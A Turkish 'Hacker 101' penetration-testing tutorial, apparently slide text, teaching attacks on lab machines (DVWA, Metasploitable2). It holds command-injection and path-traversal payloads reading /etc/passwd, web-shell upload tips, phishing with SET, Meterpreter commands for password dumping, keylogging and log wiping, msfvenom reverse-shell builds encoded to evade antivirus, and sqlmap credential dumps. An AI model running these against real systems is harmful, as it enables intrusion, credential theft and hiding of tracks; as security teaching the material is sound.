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Command Injection:

Command Injection zafiyeti bulunan uygulama üzerinden komut çalıştırmasıdır.

Windows için CMD

Linux için Terminal komutları çalıştırılabilir.
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Command Injection:

Burada bir domain ya da IP girdiğimizde ping komutu çalışmakta.
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Command Injection:

gurelahmet.com && cat /etc/passwd girelim ?
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File Inclusion:

Saldırganın hedef web sitesine bir dosya dahil etmesine ya da hedef web 
sitesinin kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine  imkan 
veren açıklıktır.

Url deki ? parametreyi  = ise parametreye değer ataması yapar.

  http://192.168.237.129/dvwa/vulnerabilities/fi/?page=include.php
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File Inclusion:

localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
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File Upload:

Web uygulamasında bulunan dosya yükleme alanlarına zararlı bir dosya 
yükleyerek bu sistem üzerinden kritik bilgilere ulaşmamızı sağlayan açıklıktır.

Yükleyeceğiniz dosya internette bir çok hazır shell bulunmakta r57.php c99.php 
gibi sheller googledan bulunabilir.

Gerçek bir sızma testinde kendi kontrol ettiğiniz temiz shell ler kullanmanızı 
tavsiye ederim.
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File Upload:
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File Upload:

Bu örnekte hiç bir sınırlama yapılmamıştır.

Bazen dosya uzantısından png,jpg,jpgeg dışında istenilen formatdan başka 
dosya yüklenmemektedir.

Burp Suite gibi bir proxy yazılımı ile araya girerek  Contet-Type : değerini

değiştirerek shellinizi yükleyebilrsiniz.
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File Upload:

 



Hacker 101 | Siber Güvenliğe Giriş
Sosyal Mühendislik

 

Sosyal Mühendislik :

Sistemde her zaman açıklık zaafiyet olmayabilir fakat en zayıf halka insan her 
zaman vardır.Bunun için sosyal mühendislikte anlattığımız teknik açıklıklar 
kadar önemlidir.

Sosyal mühendislik, internette insanların zaafiyetlerinden faydalanarak çeşitli 
ikna ve kandırma yöntemleriyle istenilen bilgileri elde etmeye çalışmaktır. 
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Sosyal Mühendislik :

Sosyal mühendisliğin belirli bir kuralı yoktur.

İnsanları telefonla ikna edebilirsiniz.Başka kurumdan yada o kurumun çalışanı 
olduğunuza ikna ederek bir çok kritik bilgiyi elde edebilrisiniz.

Bunu yaparken bir çok senoryo düşünebilirsiniz. Tamamen hayal gücünüze 
kalmış.

İnsanları gerçek olmayan fake siteler ile bilgilerini elde edebilirsiniz.

Zararlı bir yazılımı bir şirkete yaymak için e-posta ile yutturabilirsiniz vs vs ...
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PHISHING (OLTALAMA ) SALDIRILARI :

Phishing "Password" (Şifre) ve "Fishing" (Balık avlamak) sözcüklerinin 
birleştirilmesiyle oluşturulan Türkçe'ye yemleme (oltalama) olarak çevrilmiş bir 
saldırı çeşididir. 

Genelde bir kişinin şifresini veya kredi kartı ayrıntılarını öğrenmek amacıyla 
kullanılır. Bir banka veya resmi bir kurumdan geliyormuş gibi hazırlanan e-posta 
yardımıyla bilgisayar kullanıcıları sahta sitelere yönlendirilir. 

Phishing saldırıları için ‘Bankalar, Sosyal Paylaşım Siteleri, Mail Servisleri, 
Online Oyunlar vb. sahte web sayfakları hazırlanmaktır. 
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SET (Social Engineering Toolkit) :

set Kali Linuxta kurulu gelmektedir. Oltalama site oluşturmak için direk bir siteyi 
kopyalayabilme , metasploit ile haberleşebilen  web site ataklarına imkan veren 
bir araçtır.

Burada kopyaladığımız siteyi güzel bir domaine atarak onu yutturup bilgi 
çalınabilmektedir.
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SET (Social Engineering Toolkit) :

 



Hacker 101 | Siber Güvenliğe Giriş
Sosyal Mühendislik

 

SET (Social Engineering Toolkit) :
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SET (Social Engineering Toolkit) :
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SET (Social Engineering Toolkit) :
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SET (Social Engineering Toolkit) :
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SET (Social Engineering Toolkit) :

 



Hacker 101 : Bilgi Toplama

1-whois Bilgileri

Bir sitenin whois bilgileri ile kime ait olduğu adres,mail,telefon hosting 
firması gibi bir çok bilgi edinebiliriz.Bunu https://who.is/ gibi bir çok 
online siteden ve linux’a terminale whois siteadi şeklinde yazarak 
whois bilgilerini öğrenebiliriz.

https://who.is/


https://who.is/ sitesinde www.gurelahmet.com   Sorgulaması
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https://who.is/
http://www.gurelahmet.com
https://who.is/


 whois Komutu Kullanımı
Hacker 101 : Bilgi Toplama



2-Arsiv Siteleri:  

www.archive.org adresinde sitelerin belli dönemlerdeki kaydedilmiş halleri 
bulunmaktadır.Buradan hedef site hakkında  yıllar öne olup şuan yayında 
bulunmayan bilgilere erişebilirsiniz.  

https://www.shodan.io/ ya göz atmayı unutmayın :)
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3-Arama Motorları:

Arama motorlarının indexlediği çok değerli bilgiler bulunmakta ve Google Hacking 
dediğimiz ileri arama metodları bulunmakta bazı şifreler ve açıklıkları bulunan 
google dorkları mevcut bunun dışında bilgi toplamak içinde Google Hacking 
parametreleri vardır.

Ahmet Gürel site:sdu.edu.tr ext:pdf numrange:00000000000-99999999999

Yukarıdaki arama hedef odaklı bir arama sdu.edu.tr sitesinde pdf türündeki 
dosyalarda 00000000000-99999999999 sayı aralığı ve Ahmet Gürel geçen 
dosyaları getirecek.
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intitle,inurl gibi bir birinden farklı duruma göre parametreler mevcuttur.

Google Hacking Database (GHDB) : 
https://www.exploit-db.com/google-hacking-database/ adresinden güncel 
açıklıkları indexleyen google dorklarına ulaşabilirsiniz.

Bing arama motoruna ip:ip adresini yazarak o ip adresindeki tüm siteleri 
görebilirsiniz.
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https://www.exploit-db.com/google-hacking-database/


4-Sosyal Paylasım Siteleri

Facebook,Twitter,Linkedin,İnstagram,Google Plus ve  pipl.com gibi sitelerden 
arama yaparak hedefler hakkında detaylı bilgi toplanabilir.

5-Blog ,Forum ve Teknik Siteler

Github,Reddit,Stack Overflow ve Pastebin gibi siteler detaylı incelenerek hedef 
hakkında bilgiler toplayabiliriz.
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Online olarak hedeflerin yıllara göre işletim sistemlerinin tesbit edilmesi için; 

www.netcraft.com 

Her türlü bilginin bulunduğu harika bir bilgi toplama online aracı(DNS durumunu 
grafik olarak verir):

 www.robtex.com  

Online bilgi toplama araçları : 

http://www.dirk-loss.de/onlinetools.htm 
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http://www.netcraft.com
http://www.netcraft.com
http://www.netcraft.com
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http://www.robtex.com
http://www.dirk-loss.de/onlinetools.htm
http://www.dirk-loss.de/onlinetools.htm


1-theharvester ile Mail ve Subdomain Tespiti

Kalinin içinde bulunan ve terminale theharvester yazıp gerekli parametreler ile 
bunları tespit etmek mümkün örnek kullanımına bakmak gerekirse: 

      theharvester -d gurelahmet.com  -l 200  -b google

-d : Hedef sistemin adı girmemizi sağlayan parametre

-l : Arama yapılacak liste sayısı 200,500,1000 gibi

-b: Arama yapılacak arama motoru google,bing yada all gibi seçenekler mevcut
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2-traceroute Kullanımı

Traceroute bir paketin istediği adrese gidene kadar hangi hostlar ve 
yönlendirmelerden geçtiğini gösteren programdır.Yine kali linux içinde kurulu 
olarak gelmektedir.Terminalden konsol ile kullanılabilmektedir.
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3-Nslookup Kullanımı

DNS sorgulaması yapmamızı sağlayan güzel bir araçtır.
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4- dig ( Domain Information Groper) Kullanımı

dig de detaylı DNS  sorgulaması yapan gelişmiş bir araçtır.Kalinin içinde diğer bir 
çok tool gibi kurulu halde gelmektedir.Nslookup la aynı işi yapmaktadır biraz daha 
gelişmiştir.
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5-whatweb  Kullanımı

whatweb bir web sitesi hakkında temel bilgileri getirir.
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6-dirbuster Kullanımı

dirbuster hedef bir websitenin alt dizinlerini bulmak için kullanılan gelişmiş güzel 
bir araçtır.Kalide kurulu olarak gelmekte terminale dirbuster yazdığımız programın 
GUI si bulunmakta ve o açılmakta.Bir wordlist  belirterek aradığınız dizinlere ve 
daha fazlasına ulaşabilirsiniz.
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Temel Nmap Kullanımı | Nmap Hakkında
Nmap (Network Map) açık kaynak kodlu gelişmiş bir güvenlik  yazılımıdır.

Taranan networkun ağ haritasını çıkarabilir,çalışan servisleri tespit edebilir 
kullanılan işletim sistemi bulunabilir.Hatta NSE (Nmap Scripting Engine)  ler 
kullanarak bazı açıklıklar tespit edilebilir,brute force saldırıları gerçekleştirilebilir.

Bir network hakkında en  detaylı bilgi toplama araçlarından birisidir.Şimdi Temel 
Nmap kullanımı  ve tarama parametlerini inceleyeceğiz.

Nmap  konsoldan çalışmaktadır.Grafiksel arayüz olarak kullanmak içinde Zenmap 
adlı  grafiksel arayüzü bulunmaktadır.Nmap Kalide kurulu olarak gelmektedir.



Temel Nmap Kullanımı | Nmap Dönen Sonuçlar
Nmap bir istemciyi veya sunucuyu bir çok farklı şekilde tarayabilir ve buna göre sonuçlar getirir.Bunlar 
genelde çalışan port,üzeriende çalışan servisler ve işletim sistemi bilgisidir.Portların durumlar şu şekilde 
gelebilir:

Open(Açık): Portun erişilebilir olduğu üzerinde bir uygulamanın  TCP yada UDP baglantısı kabul ettiği 
durum

Closed(Kapalı): Port erişilebilir fakat üzerinde uygulama yok TCP  yada  UDP bağlantısı kabul etmiyor 

Filtered(Filtreli): Bir paket filtreleme var portun açık kapalı durumuna karar veremiyor

Unfiltered(Filtresiz):ACK Scan taramasında port erişilebilir fakat açık yada kapalı durumuna karar 
veremiyor

Open | Filtered : UDP, IP Protocol, FIN, Null, Xmas Scan için  Nmap portların açık veya filtrelenmiş 
olduğuna karar veremiyor

Closed |Filtered: Idle Scan için Nmap portların kapalı  veya filtrelenmiş olduğuna karar veremiyor



Nmap komut kullanımı:

                    nmap  [tarama türü]  [parametresi]   [hedef]

Nmap tarama komutu yukarıdakine uygun olacaktır Nmap ın tarama türleri var 
onlara değineceğiz hedef kısmı bir ip adresi,domain yada ip adresi bulunan bir txt 
olabilmektedir.

Temel Nmap Kullanımı 



Temel Nmap Kullanımı  | Nmap Tarama Türleri
TCP  SYN  (half open) Scan : 

Hedefe  TCP SYN gönderilir

Portların kapalı olduğu durumlarda hedef makina cevap olarak RST + ACK döner. 

Portların açık olduğu durumlarda ise hedef makina SYN + ACK bayraklı segment döner.

Son olarak RST bayraklı segment göndererek bağlantıyı koparır ve böylelikle TCP üçlü el sıkışma 

(TCP three-way handshaking) tamamlanmaz. Ve iz bırakmaz.

                                       

                                            nmap -sS -v  192.168.237.129

https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/w/index.php?title=TCP_%C3%BC%C3%A7l%C3%BC_el_s%C4%B1k%C4%B1%C5%9Fma&action=edit&redlink=1


Temel Nmap Kullanımı  | Nmap Tarama Türleri
TCP Connect Scan 

Kaynak makinanın gerçekleştireceği TCP Connect Scan, 

Kapalı portlara yapıldığı zaman RST + ACK  döner  

Açık portlara yapıldığında SYN + ACK gönderir, kaynak makina ACK bayraklı segment göndererek 

cevaplar ve üçlü el sıkışmayı tamamlar.İz bırakır.

                                         nmap -sT -v  192.168.237.129 



Temel Nmap Kullanımı  | Nmap Tarama Türleri
UDP Scan

UDP portlarını taramak için kullanılır , ICMP Port Unreachable cevabı döndürülüyorsa port kapalı 

Cevap yoksa  open|filtered kabul edilecektir. 

UDP paketi dönerse port  açık kabul edilir.

                                             nmap -sU -v 192.168.227.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
FIN (stealth) Scan

FIN bayraklı paket gönderilir , 

Hedef makinanın kapalı bir portuna gelirse

Hedef makina RST + ACK bayraklı paket döndürecektir.

Eğer açık portuna gelirse hedef makinadan herhangi bir tepki dönmeyecektir.

                                   nmap -sF -v  192.168.237.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
ACK Scan

Bu tarama türünde kaynak makina hedef makinaya TCP ACK bayraklı paket gönderir.

Eğer hedef makina ICMP Destination Unreachable mesajını dönerse ya da hedef makinada bu 

taramaya karşılık herhangi bir tepki oluşmazsa port “filtered” olarak kabul edilir. 

Eğer hedef makina RST bayraklı paket döndürürse port “unfiltered” kabul edilir.

                                              nmap -sA -v  192.168.237.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
Xmas Scan

Kaynak bilgisayarın TCP segmentine URG,PSH ve FIN bayraklarını set edeceği ("1" yapılacağı) paket 

hedef makinaya gönderilir. 

Eğer Kaynak makinanın göndereceği URG,PSH ve FIN bayraklı paket, 

Hedef makinanın kapalı bir portuna gelirse hedef makina RST + ACK bayraklı paket döndürecektir. 

Eğer port açık olursa hedef makinadan herhangi bir tepki dönmeyecektir.

                                               nmap -sX -v 192.168.237.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
Null Scan

Kaynak makinanın göndereceği bayraksız paketler karşısında hedef makinanın vereceği tepkiler 

FIN Scan ile aynıdır.

Hedef makinanın kapalı bir portuna gelirse hedef makina RST + ACK döner

Eğer port açık olursa hedef makinadan herhangi bir tepki dönmeyecektir.

                                       nmap -sN -v 192.168.237.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
Ping Scan

Bu tarama türünde tek bir ICMP Echo istek paketi gönderir. 

IP adresi erişilebilir ve ICMP filtreleme bulunmadığı sürece, hedef makina ICMP Echo cevabı 

döndürecektir. 

Eğer hedef makina erişilebilir değilse veya paket filtreleyici ICMP paketlerini filtreliyorsa, 

Hedef makinadan herhangi bir cevap dönmeyecektir.

                                nmap -sP -v  192.168.237.129



Temel Nmap Kullanımı  | Nmap Tarama Türleri
IP Protocol Scan

Bu tarama türü standart NMAP tarama türlerinden biraz farklıdır.

 Bu tarama türünde hedef makinaların üzerlerinde çalışan IP tabanlı protokoller tespit edilmektedir. 

Bu yüzden bu tarama türüne tam anlamıyla bir port taraması demek mümkün değildir. Hedef 

makina üzerinde, taramasını yaptığımız IP protokolü aktif haldeyse hedef makinadan bu taramaya 

herhangi bir cevap gelmeyecektir. Hedef makina üzerinde, taramasını yaptığımız IP protokolü aktif 

halde değilse hedef makinadan bu taramaya, tarama yapılan protokolün türüne göre değişebilen 

RST bayraklı (RST bayrağı "1" yapılmış) bir segment cevap olarak gelecektir.

                                                         nmap -sO -v 192.168.237.129

https://tr.wikipedia.org/wiki/IP_adresi


Temel Nmap Kullanımı  | Nmap Tarama Türleri
Window Scan

Window Scan, ACK Scan türüne benzer ancak bir önemli farkı vardır. 

Window Scan portların açık olma durumlarını yani “open” durumlarını gösterebilir. Bu taramanın 

ismi TCP Windowing işleminden gelmektedir. Bazı TCP yığınları, RST bayraklı segmentlere cevap 

döndüreceği zaman, kendilerine özel window boyutları sağlarlar. Hedef makinaya ait kapalı bir 

porttan dönen RST segmentine ait window boyutu sıfırdır. 

Hedef makinaya ait açık bir porttan dönen RST segmentine ait window boyutu sıfırdan farklı olur.

                                                nmap -sW -v  192.168.237.129



Temel Nmap Kullanımı  | Zenmap



Temel Nmap Kullanımı  | Nmap Tarama Örnekleri
nmap -sS -sV -Pn -top-ports 10 192.168.237.129

-sS: Syn Taraması -sV : Versiyon bilgisi -Pn: ping atma -top-ports10: en çok kullanılan 10 portu tara



Temel Nmap Kullanımı  | Nmap Tarama Örnekleri
                                      nmap -sS -sV -Pn -T4 -p-  192.168.237.129
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-sS: Syn Taraması -sV : Versiyon bilgisi -Pn: ping atma-T4: Tarama hızı hızlı bir tarama -p-: tüm portları tara



Temel Nmap Kullanımı  | Nmap Tarama Örnekleri
                                      nmap -sS -A -Pn -oA sonuc  192.168.237.129

-sS: Syn Taraması -A : Versiyon ve işletim sistemi  bilgisi -Pn: ping atma  -oA : 3 farklı formatta tarama çıktısını kaydeder.          -p- 
Parametresi olmadığı için en     çok kullanılan 1000 port taranmıştır. -T Parametreside olmadığı için -T3 hızında taranmıştır.



              Detay: https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html 

Temel Nmap Kullanımı  | Nmap Tarama Örnekleri
                        nmap --script ftp-vsftpd-backdoor -p 21 192.168.237.129

--script : Nmap scriptlerini kullanmamızı sağlar -p 21: Port 21 de scripti çalıştırır

https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html


Temel Metasploit Kullanımı | Hakkında
Metasploit,Rapid7 firmasının çok önemli bir güvenlik yazılımıdır.

Metasploit,güvenlik açıkları hakkında bilgi verip bu açıklıklara sızmaya yardımcı 
olan bir yazılımdır.

Ruby ile yazılmış olan içerisinde exploitler,payloadlar,auxiliaryler ve encoderlerin 
bulunduğu frameworkdur.

Veritabanı olarak postgresql kullanmaktadır.

Kali Linux içerisinde kurulu olarak gelmektedir.

Terminalden msfconsole olarak ve grafiksel olarak Armitage ile kullanılabilir.

Metasploit  içinde Nmap taramasıda yapılabilmektedir.



Temel Metasploit Kullanımı | Terimler 

Vulnerability: Türkçede zayıflık anlamına gelen sistemde bulunan açıklıktır.

Auxiliary: Sızma öncesi sistem hakkında bilgi toplamak için bulunan ek modüller

Exploit: Türkçesi sömürmek olan sistem açıklığından faydalanarak sisteme sızmamızı 
sağlayan bileşendir

Payload: Sisteme sızdıktan sonra sistemde istediklerimizi yapmamızı sağlayan bileşendir

Shellcode: Exploitin içinde bulunan zararlı kod

Encoder : Exploiti Antivirüs,IDS,IPS ve Firewall dan geçiren bileşendir



Temel Metasploit Kullanımı | Giriş  
service postgresql start

msfconsole

İlk olarak postgresql veritabanını başlatıyoruz daha sonra msfconsole yazarak 
metasploitimizi açıyoruz.

db_status

Komutunu yazarak metasploitin veritabanı bağlantısını kontrol edebilirsiniz.

      db_connect       db_disconnect             db_import                      db_export 

                      



Temel Metasploit Kullanımı | Giriş  



Temel Metasploit Kullanımı| Nmap
db_nmap -sS -sV -O  192.168.237.129 



Temel Metasploit Kullanımı
help  komutu ile Metasploitin tüm komutlarını ve parametreleri açıklamaları ile görebilmekteyiz.



Temel Metasploit Kullanımı



search Komutu 

search <aranan exploit,payloads,cve numarası yada genel bir ifade >

Temel Metasploit Kullanımı



Temel Metasploit Kullanımı
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Temel Metasploit Kullanımı

show Komutu 

İstenilen bileşenleri listeyip görmemizi sağlar.

show exploits  : Metasploit üzerindeki  tüm exploitleri gösterir

show payloads : Metasploit üzerindeki tüm payloadları gösterir

show targets : Bulunan targetları listeler

show options: Exploit yada payloadın tüm ayarlarını gösterir.



Temel Metasploit Kullanımı



Temel Metasploit Kullanımı



use Komutu

İstenilen exploiti yada payload ı seçmek için kullanılır.

                          use  <exploit_adi>     use <payload_adi>

Temel Metasploit Kullanımı



Temel Metasploit Kullanımı



set Komutu

Bir değişkene değer aktarmak için kullanılır.

set RHOST <hedef (kurban)_ip_adresi>

set LHOST <local (kendi)_ip_adresimiz>

Temel Metasploit Kullanımı



Temel Metasploit Kullanımı



setg Komutu

Değişkenlere global olarak değer atar.Her bir başka exploit yada payload ta o 
değişkene yeniden değer girmeniz gerekmez.

setg RHOST <hedef_ip> : RHOST değişkenine global değer atar.

setg LHOST <local_ip>   :  LHOST değişkenine global değer atar.

Temel Metasploit Kullanımı



unset Komutu

Değişkene aktarılan değeri iptal eder.

unset LHOST : LHOST değişkeninin değerini iptal eder.

unset RHOST : RHOST değişkeninin değerini iptal eder.

Temel Metasploit Kullanımı



Temel Metasploit Kullanımı



exploit ve run Komutu

Eğer bir exploit seçmiş ve show options komutundan sonra istenilen değerleri 
set komutu ile girildikten sonra exploit denir ve exploit çalıştırılır.

Eğer bir payload seçmiş isek yine show options komutu girilir ve istenilen değer 
yine set komutu ile girildikten sonra run denir ve payload çalıştırılır.

Temel Metasploit Kullanımı



Temel Metasploit Kullanımı | Armitage



Temel Metasploit Kullanımı | Armitage



Meterpreter,Metasploit’in en çok kullanılan payloadlarından biridir.

Bir sistemde exploit çalıştırdıktan sonra meterpreter satırına düştükten sonra meterpreter 
komutları kullanılır.

sysinfo : Sistem hakkında bilgi verir.

getuid : Sisteme hangi yetkilerle erişim sağladığımızı verir.

getpid  : Sistem PID numarasını getirir.

ipconfig -a : Sistemin Network bilgilerini getirir.

Temel Metasploit Kullanımı | Meterpreter



run checkvm: Hedef makinanın sanal makina olup olmadığına bakar.

run keylogrecorder : Hedef sistemde keyloger başlatır.

run getgui -e : Hedef sistemde RDP(Remote Desktop Protocol)  açar.

run getcountermeasure  : Hedef sistemdeki güvenlik programları devre dışı kılar.

backgraund : Aktif sessionı arka plana alır.

ps: Süreçleri gösterir.

kill PID : PID numaralı süreci öldürür.

Temel Metasploit Kullanımı | Meterpreter



download: Hedeften dosya indirmek için kullanılır.

migrate : Güvenilir bir process’e geçiş yapmak için kullanılır.

hashdump : Sistem üzerinde bulunan parola dumplarını çeker.

Shell : Hedef sistemin komut satırına geçmemizi sağlayan komut.

load mimikatz : Sisteme mimikatz yüklenir.

mimikatz_command –f sekurlsa::searchPasswords : Bellekteki şifreleri getirir.

clearev : Eventlogları temizler.

run event_manager -c :  Tüm eventlogları  silmemizi sağlar.

Temel Metasploit Kullanımı | Meterpreter



Daha bir çok meterpreter komutu bulunmaktadır.En çok kullanılanlara değinmeye 
çalıştım.

Sızma testinin asıl amacı unutulmamalıdır sisteme zarar vermeden ele geçirilen tüm 
bilgiler ekran görüntüleri alınarak şifreler not alınarak kullanıcıya rapor sunmaktır.

Sisteme sızıp hakkında yeterli bilgi toplandığında mutlaka sistemden çıkış yapılmalı ve 
loglar temizlenmelidir.

Temel Metasploit Kullanımı | Meterpreter



MSFVenom, msfpayload ve msfencode u birleştirerek karşımıza gelmiştir.

MSFVenom ile backdoor oluşturmamızı sağlar.

msfvenom -h ile tüm parametrelerine ulaşabilirsiniz.

Temel Metasploit Kullanımı | MSFVenom



msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.237.128 
LPORT=4444 -f exe -o /root/Desktop/zararli.exe -e x86/shikata_ga_nai -i 20

Yukarıdaki msfvenom komutu ile payloadımızı seçtikten sonra haberleşeceği ip ve 
portu belirterek zararlı.exe oluşturarak shikata_ga_nai ile 20 kere encode ettik

Temel Metasploit Kullanımı | MSFVenom



msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.237.128 
LPORT=4444 -f war > /root/Desktop/shell.war

Yukarıdaki msfvenom komutu ile payloadımızı seçtikten sonra haberleşeceği ip ve 
portu belirterek war uzantılı shell.war  java shellini oluşturduk.

Temel Metasploit Kullanımı | MSFVenom



Açıklık Tarama Araçları ve Kullanımı
Açıkları taramak için Networkte  OpenVAS,Nessus ve Nexpose gibi araçlar 
bulunmaktadır.Web açıklıkları için Nikto,Wpscan,Joomscan,Sqlmap,Netsparker 
ve Acunetix gibi tarama araçları bulunmaktadır.Bu dökümanda ben Nexpose ile 
açıklık tarayacağım.Nexpose Rapid7 tarafından geliştirilmekte ve Metasploit ile 
entegre olabilmektedir.Aşağıdaki linkten  Nexpose’u indirip kurabilirsiniz.

https://www.rapid7.com/products/nexpose/compare-downloads.jsp 

Nexpose un Ücretli ve Ücretsiz iki sürümü var  istediğiniz sürümü kurduktan sonra  
https://localhost:3780/ adresinden Nexpose’un arayüzüne ulasabilirsiniz.

https://www.rapid7.com/products/nexpose/compare-downloads.jsp
https://www.rapid7.com/products/nexpose/compare-downloads.jsp
https://localhost:3780/
https://localhost:3780/


Hacker 101 : Nikto
Nikto, web server üzerinde bulunan güvenlik açığı tarama uygulamasıdır. Perl 
diliyle yazılmıştır ve ücretsizdir. Web sayfasında bulunabilecek XSS, SQL Injection 
benzeri güvenlik zaaflarını tespit eder.



Hacker 101 : WPScan
WPScan WordPress sistemlerdeki açıkları taramaya yarayan bir güvenlik 
tarayıcısıdır. “Username Enumeration” “Password Bruteforce” “Wordpress 
Versiyon Enumeration” ve “Plugin,Theme Vulnerability Enumeration” özelliklerini 
kullanarak verilen site üzerinde açıklık taraması yapabilir.



Hacker 101 : JoomScan
Joomscan aracı OWASP  tarafından geliştirilmiş bir araçtır.

Joom sitelerindeki güvenlik açıklarını tespit etmek amacıyla kullanılır.



Hacker 101 : JoomScan



Hacker 101 : JoomScan



Hacker 101 : Netsparker



Hacker 101 : Netsparker



Hacker 101 : Sqlmap
Sqlmap pyhton dili yazılarak geliştirilmiş Sqli da çok başarılı bir araçtır.

sqlmap -u "http://192.168.237.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" --dbs



Hacker 101 : Sqlmap
sqlmap -u "http://192.168.237.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" -D dvwa --tables



Hacker 101 : Sqlmap
sqlmap -u "http://192.168.237.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" -D dvwa -T 
users --columns



Hacker 101 : Sqlmap
sqlmap -u "http://192.168.237.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" -D dvwa -T 
users -C user,password --dump



Program kurduktan sonra kurulumda oluşturduğunu username ve password  giriyoruz.

Ahmet Gürel | www.gurelahmet.com

Hacker 101 : Nexpose



Giriş yaptıktan sonra Create diyip Site ye tıklayarak Info & Security kısmında  
tarama adını verip Assets kısmında hedef IP bilgisini girerek diğer adımlarıda 
sıra ile kontrol edip uygun tarama seçeneklerini seçip  Save & Scan seçeneğine 
tıklıyoruz.Bu aşamada sunumun başında kurduğumuz güvenlik açıkları barındıran 
Metasploitable 2 adlı sanal makinayı açıyoruz ve onun IP adresini veriyoruz.Ve 
üzerinde bulunun açıkları Nexpose tarama sonuçlarında görebilirsiniz.

Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose
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Hacker 101 : Nexpose



Nexpose Taramasının nasıl yapılacağını ve sonuçlarını görmüş olduk.Portlar 
üzerinde çalışan servisler,databaseler,userlar barındırdığı açıklıklar ve bunların 
metasploit üzerinde bulunan modüllerine kadar tüm herşeyi getirdiğini 
gördük.Bundan sonrası hedef sistem üzerinde bulunan açıklıkları doğrulamak olan 
açıkları denemek ve sisteme sızmaya çalışmaktır.Bu kısımdan sonra artık Lab 
ortamımızda uygulamalı olarak sızma işlemi gerçekleştireceğiz bir sisteme 
sızmaktaki hedef o sistemde yetkili kullanıcı olup her şeye erişim sağlamaktır.Bu 
örnek makina linux olduğu için hedefimiz root olmaktır.

Hacker 101 : Nexpose



Sızma Testi Örnekleri (Metasploitable2)
Bu nexpose çıktısında VNC nın şifresinin password olduğunu söylemektedir.
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Sızma Testi Örnekleri (Metasploitable2)
Terminale vncviewer 192.168.237.129 yazıp şifreyide password olarak girip sisteme giriş yapabiliriz. 
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Sızma Testi Örnekleri (Metasploitable2)
Port taramasında 21.portta FTP  vsftpd  2.3.4 sürümünün çalışmakta olduğu görünmekte.Bunu google 
araması ile yada Nmap scriptleri ile  bir backdoor exploitinin olduğunu görmekteyiz.Metasploit ile sisteme 
sızabilmekteyiz.



Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)



Yine Nexpose tarama sonucunda bize MySQL veritabanında default kullanıcı adı 
root  ve boş şifre kullanıldığını söylemektedir.Kullanıcı adı ve şifresi bilinen bir 
veritabanına sızmak için  birden fazla senaryo düşübülebilir.Biz metasploit 
auxiliary modülü kullanarak veritabanı sorgusu çalıştıracağız.Örnek bir SQL 
sogusu çalıştıracağız farklı bir çok SQL sorgusu çalıştırabiliriz.

Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)



Nmap taramasında görülen bir diğer uygulama 3632. portta çalışan DistCC 
uygulamasıdır.Bu uygulamayı googleda distcc exploit olarak aratıp bilinen bir 
açıklığı var mı diye kontrol ettiğimizde  https://www.exploit-db.com/exploits/9915/ 
böyle bir exploitin varlığını görmekteyiz.Bu kısımdan sonra metasploit ile 
bulduğumuz exploiti deniyoruz.

Sızma Testi Örnekleri (Metasploitable2)

https://www.exploit-db.com/exploits/9915/


Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)



Nmap çıktısında görüldüğü üzere 8180 de Apache Tomcat çalışmakta normalda 
default olarak 80 yada 8080 de çalışmaktadır.Nexpose çıktısında ise Default 
Tomcat User and Password çıktısı görülmekte.Bunun için tomcat_mgr_login 
adında bir auxiliary bulunmakta Brute Force (kaba kuvvet) yöntemiyle şifreleri 
denemekte default yada en çok kullanılan şifreler kısa bir sürede sonuç 
vermekte.Biz şifrenin default olduğunu bilsekte bu auxliarynin kullanımını 
göstermek amacıyla deneyeceğiz.Username ve Password u ele geçirdikten sonra 
tomcat_mgr_deploy adında bir exploitimiz var bunu kullanarak sisteme sızmaya 
çalışacağız.

Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)
Nexpose çıktısı Default Tomcat Username ve Password 
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Sızma Testi Örnekleri (Metasploitable2)
Görüldüğü üzere bu  auxiliary tomcat_mgr_login ile Username ve Passwordu tomcat : tomcat olarak bulduk.



Sızma Testi Örnekleri (Metasploitable2)
Resimdeki gibi tomcat_mgr_deploy exploitimizi seçiyoruz gerekli değerleri atayarak exploiti çalıştırıyoruz.



Sızma Testi Örnekleri (Metasploitable2)
Resimdeki gibi tomcat_mgr_deploy exploitimizi seçiyoruz gerekli değerleri atayarak exploiti çalıştırıyoruz.



RPORT değişkenini default bıraktığımız için çalışmadı Nmapdaki portu yani 8180 i girip yeniden çalıştırdık.Ve 
meterpreter ile sisteme sızdık.Bundan sonra meterpreter komutları ile sistem hakkında bilgi alınabilir.

Sızma Testi Örnekleri (Metasploitable2)



Sızma Testi Örnekleri (Metasploitable2)
Meterpreter komutları ile bir kaç bilgi edindik sistem hakkında.



Sızma Testi Örnekleri (Kevgir)

https://canyoupwn.me/kevgir-vulnerable-vm/  adresinden Kevgiri 
indirebilirsiniz.

Nmap ile keşif taramasına başlıyoruz.Çalışan servisleri ve versiyonları tespit 
